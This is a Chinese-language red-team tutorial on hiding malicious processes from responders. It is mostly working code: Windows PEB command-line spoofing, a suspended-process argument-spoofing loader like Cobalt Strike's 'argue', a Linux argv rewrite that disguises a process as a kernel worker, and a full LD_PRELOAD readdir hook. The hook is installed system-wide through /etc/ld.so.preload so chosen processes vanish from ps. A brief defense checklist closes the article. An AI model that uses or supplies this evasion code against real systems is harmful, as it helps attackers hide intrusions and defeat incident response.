在Windows&Linux中隐藏进程名称和参数达到隐藏的目的
字数 1026 2025-08-09 15:23:15
Windows & Linux 进程隐藏技术详解
前言
在渗透测试和红队行动中,隐藏进程名称和参数是提高隐蔽性的重要技术。当运行恶意命令后,应急响应人员通常会通过进程排查工具(如Windows的任务管理器或Linux的ps命令)来发现可疑活动。通过修改进程名称和参数,可以延缓被发现的时间,提高进程存活率。
Windows 进程隐藏技术
1. 修改PEB结构
Windows中的进程环境块(PEB)存储着每个进程的运行时数据,包括启动参数和程序基地址等信息。
技术原理:
- PEB包含
_RTL_USER_PROCESS_PARAMETERS结构体,其中存储了命令行参数和映像路径 - 通过修改这些字段可以改变进程显示的名称和参数
实现步骤:
- 获取进程PEB:
#include "Windows.h"
#include "winternl.h"
#include "stdio.h"
typedef NTSTATUS(*MYPROC) (HANDLE, PROCESSINFOCLASS, PVOID, ULONG, PULONG);
int main()
{
HANDLE h = GetCurrentProcess();
PROCESS_BASIC_INFORMATION ProcessInformation;
ULONG lenght = 0;
HINSTANCE ntdll;
MYPROC GetProcessInformation;
wchar_t commandline[] = L"C:\\windows\\system32\\notepad.exe";
ntdll = LoadLibrary(TEXT("Ntdll.dll"));
// 解析NtQueryInformationProcess地址
GetProcessInformation = (MYPROC)GetProcAddress(ntdll, "NtQueryInformationProcess");
// 获取_PEB对象
(GetProcessInformation)(h, ProcessBasicInformation, &ProcessInformation, sizeof(ProcessInformation), &lenght);
// 修改命令行和映像路径
ProcessInformation.PebBaseAddress->ProcessParameters->CommandLine.Buffer = commandline;
ProcessInformation.PebBaseAddress->ProcessParameters->ImagePathName.Buffer = commandline;
getchar();
return 0;
}
- 创建挂起进程并修改参数:
#include <iostream>
#include <Windows.h>
#include <winternl.h>
typedef NTSTATUS(*NtQueryInformationProcess2)(
IN HANDLE,
IN PROCESSINFOCLASS,
OUT PVOID,
IN ULONG,
OUT PULONG
);
// 辅助函数省略...
int main(int argc, char **canttrustthis)
{
STARTUPINFOA si;
PROCESS_INFORMATION pi;
CONTEXT context;
BOOL success;
PROCESS_BASIC_INFORMATION pbi;
DWORD retLen;
SIZE_T bytesRead;
PEB pebLocal;
RTL_USER_PROCESS_PARAMETERS *parameters;
// 创建挂起进程
success = CreateProcessA(
NULL,
(LPSTR)"powershell.exe -NoExit -c Write-Host 'This is just a friendly argument, nothing to see here'",
NULL,
NULL,
FALSE,
CREATE_SUSPENDED | CREATE_NEW_CONSOLE,
NULL,
"C:\\Windows\\System32\\",
&si,
&pi);
// 获取PEB信息
NtQueryInformationProcess2 ntpi = (NtQueryInformationProcess2)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtQueryInformationProcess");
ntpi(pi.hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &retLen);
// 读取PEB
success = ReadProcessMemory(pi.hProcess, pbi.PebBaseAddress, &pebLocal, sizeof(PEB), &bytesRead);
// 获取进程参数
parameters = (RTL_USER_PROCESS_PARAMETERS*)readProcessMemory(
pi.hProcess,
pebLocal.ProcessParameters,
sizeof(RTL_USER_PROCESS_PARAMETERS) + 300
);
// 修改参数
WCHAR spoofed[] = L"powershell.exe -NoExit -c Write-Host Surprise, arguments spoofed\0";
success = writeProcessMemory(pi.hProcess, parameters->CommandLine.Buffer, (void*)spoofed, sizeof(spoofed));
// 修改参数长度
DWORD newUnicodeLen = 28;
success = writeProcessMemory(
pi.hProcess,
(char *)pebLocal.ProcessParameters + offsetof(RTL_USER_PROCESS_PARAMETERS, CommandLine.Length),
(void*)&newUnicodeLen,
4
);
// 恢复线程执行
ResumeThread(pi.hThread);
}
效果:
- 进程创建事件记录显示的是修改前的正常参数
- 实际执行的是修改后的"恶意"命令
- Cobalt Strike中的
argue命令也使用了类似技术
Linux 进程隐藏技术
1. 修改argv[0]
技术原理:
- Linux中进程信息存储在
/proc/[pid]/stat文件中 - 通过修改argv[0]可以改变进程显示名称
实现代码:
#!/usr/bin/env python
import ctypes
import os
class Stat():
def add(self, pid, comm, state, ppid, pgrp, session, tty_nr, tpgid, flags, minflt, cminflt, majflt, cmajflt, utime,
stime, cutime, cstime, priority, nice, num_threads, itrealvalue, starttime, vsize, rss, rsslim, startcode,
endcode, startstack, kstkesp, kstkeip, signal, blocked, sigignore, sigcatch, wchan, nswap, cnswap,
exit_signal, processor, rt_priority, policy, delayacct_blkio_ticks, guest_time,
cguest_time, start_data, end_data, start_brk, arg_start, arg_end, env_start, env_end, exit_code):
self.argv = (int(arg_start), int(arg_end))
self.env = (int(env_start), int(env_end))
def parse_proc_stat():
with open("/proc/self/stat", "r") as fh:
a = tuple(fh.read().split())
s = Stat()
s.add(*a)
return s
def memcpy(dest, source):
start, end = dest
if len(source) > end - start:
raise ValueError("ma jel")
ptr = ctypes.POINTER(ctypes.c_wchar)
idx = 0
write = ''
for tmp in range(start, end-1):
a = ctypes.cast(tmp, ptr)
if idx >= len(source):
write = "\x00"
else:
write = source[idx]
a.contents.value = write
idx += 1
def change_argv(argv="/bin/bash", env=""):
info = parse_proc_stat()
memcpy(info.argv, argv) # 修改argv
memcpy(info.env, env) # 修改环境变量
if __name__=="__main__":
print "pid: %s"%os.getpid()
change_argv(argv="[kworker/2:0]") # 修改为内核进程名
import time
while True:
time.sleep(1)
替代方法:
使用bash的exec命令:
exec -a "xxx" sleep 10000
这将使sleep命令在进程列表中显示为xxx
2. 通过LD_PRELOAD劫持系统调用
技术原理:
- ps等工具通过读取
/proc文件系统获取进程信息 - 通过LD_PRELOAD劫持
readdir等函数可以过滤特定进程
实现代码:
#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>
static const char* process_to_filter = "hide_process.py";
static int get_dir_name(DIR* dirp, char* buf, size_t size) {
int fd = dirfd(dirp);
if(fd == -1) return 0;
char tmp[64];
snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
ssize_t ret = readlink(tmp, buf, size);
if(ret == -1) return 0;
buf[ret] = 0;
return 1;
}
static int get_process_name(char* pid, char* buf) {
if(strspn(pid, "0123456789") != strlen(pid)) return 0;
char tmp[256];
snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);
FILE* f = fopen(tmp, "r");
if(f == NULL) return 0;
if(fgets(tmp, sizeof(tmp), f) == NULL) {
fclose(f);
return 0;
}
fclose(f);
int unused;
sscanf(tmp, "%d (%[^)]s", &unused, buf);
return 1;
}
#define DECLARE_READDIR(dirent, readdir) \
static struct dirent* (*original_##readdir)(DIR*) = NULL; \
\
struct dirent* readdir(DIR *dirp) \
{ \
if(original_##readdir == NULL) { \
original_##readdir = dlsym(RTLD_NEXT, #readdir); \
if(original_##readdir == NULL) \
{ \
fprintf(stderr, "Error in dlsym: %s\n", dlerror()); \
} \
} \
\
struct dirent* dir; \
\
while(1) \
{ \
dir = original_##readdir(dirp); \
if(dir) { \
char dir_name[256]; \
char process_name[256]; \
if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && \
strcmp(dir_name, "/proc") == 0 && \
get_process_name(dir->d_name, process_name) && \
strcmp(process_name, process_to_filter) == 0) { \
continue; \
} \
} \
break; \
} \
return dir; \
}
DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);
部署方法:
gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl
sudo mv libprocesshider.so /usr/local/lib/
echo /usr/local/lib/libprocesshider.so >> /etc/ld.so.preload
效果:
- 指定的进程将不会出现在ps等工具的输出中
- 通过比较
/proc和ps输出的传统检测方法也会失效
总结
Windows隐藏技术要点:
- 通过修改PEB中的
CommandLine和ImagePathName字段 - 创建挂起进程→修改参数→恢复执行流程
- 配合shellcode加载器使用效果更佳
Linux隐藏技术要点:
- 修改argv[0]改变进程显示名称
- 使用exec -a直接指定进程名
- LD_PRELOAD劫持系统调用过滤特定进程
防御建议:
- 使用内存取证工具检查PEB不一致
- 监控进程创建事件与实际情况对比
- Linux下使用静态编译的工具检查进程
- 监控/proc文件系统的异常访问
这些技术展示了攻击者如何隐藏进程活动,同时也提醒防御者需要采用多层次、多角度的检测方法才能有效发现此类隐蔽行为。